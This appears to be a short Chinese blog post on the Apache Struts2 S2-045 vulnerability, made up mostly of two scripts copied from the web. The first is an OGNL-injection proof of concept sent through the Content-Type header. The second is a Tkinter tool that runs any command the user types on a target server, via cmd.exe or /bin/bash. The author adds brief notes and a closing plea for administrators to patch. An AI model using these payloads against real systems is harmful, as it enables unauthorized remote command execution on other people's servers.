POC:
网上看的一个poc:
import requests import sys def poc(url): payload = "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(102*102*102*99)).(#ros.flush())}" headers = {} headers["Content-Type"] = payload r = requests.get(url, headers=headers) if "105059592" in r.content: return True return False if __name__ == '__main__': if len(sys.argv) == 1: print "python s2-045.py target" sys.exit() if poc(sys.argv[1]): print "vulnerable" else: print "not vulnerable"
102*102*102*99=105059592,看了一下这个poc,好像又明白了异常怎么抛出的了,因为poc里不是一开头就是Multipart,而是注入ognl语言。Payload里打印102*102*102*99的值,如果返回的页面有105059592则表明存在st2-045远程命令执行漏洞。
EXP:
网上流传的一个exp:
#coding:utf-8 import urllib2 from Tkinter import * import sys from poster.encode import multipart_encode from poster.streaminghttp import register_openers class START(): def __init__(self,root): self.root=root self.show_W_Text = Text() self.show_url_ed = Label(root, text="str2") self.edit_url = Entry(root, text="输入地址") self.edit_cmd = Entry(root, text="输入cmd") self.butt_whois = Button(root, text="检测",command=self.poc) self.show_url_ed.pack() self.edit_url.pack() self.edit_cmd.pack() self.butt_whois.pack() self.show_W_Text.pack() def poc(self): w_url = self.edit_url.get() w_cmd = self.edit_cmd.get() text = self.show_W_Text register_openers() datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")}) header[ "User-Agent"] = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36" header[ "Content-Type"] = "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='" + w_cmd + "').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" request = urllib2.Request(w_url, datagen, headers=header) response = urllib2.urlopen(request).read() text.insert(1.0, response) if __name__ == '__main__': root=Tk() root.title("str2 045") motion=START(root) mainloop()
exp大概和poc一样。
友情检测:


希望各网站管理员及时修复,避免不必要的损失。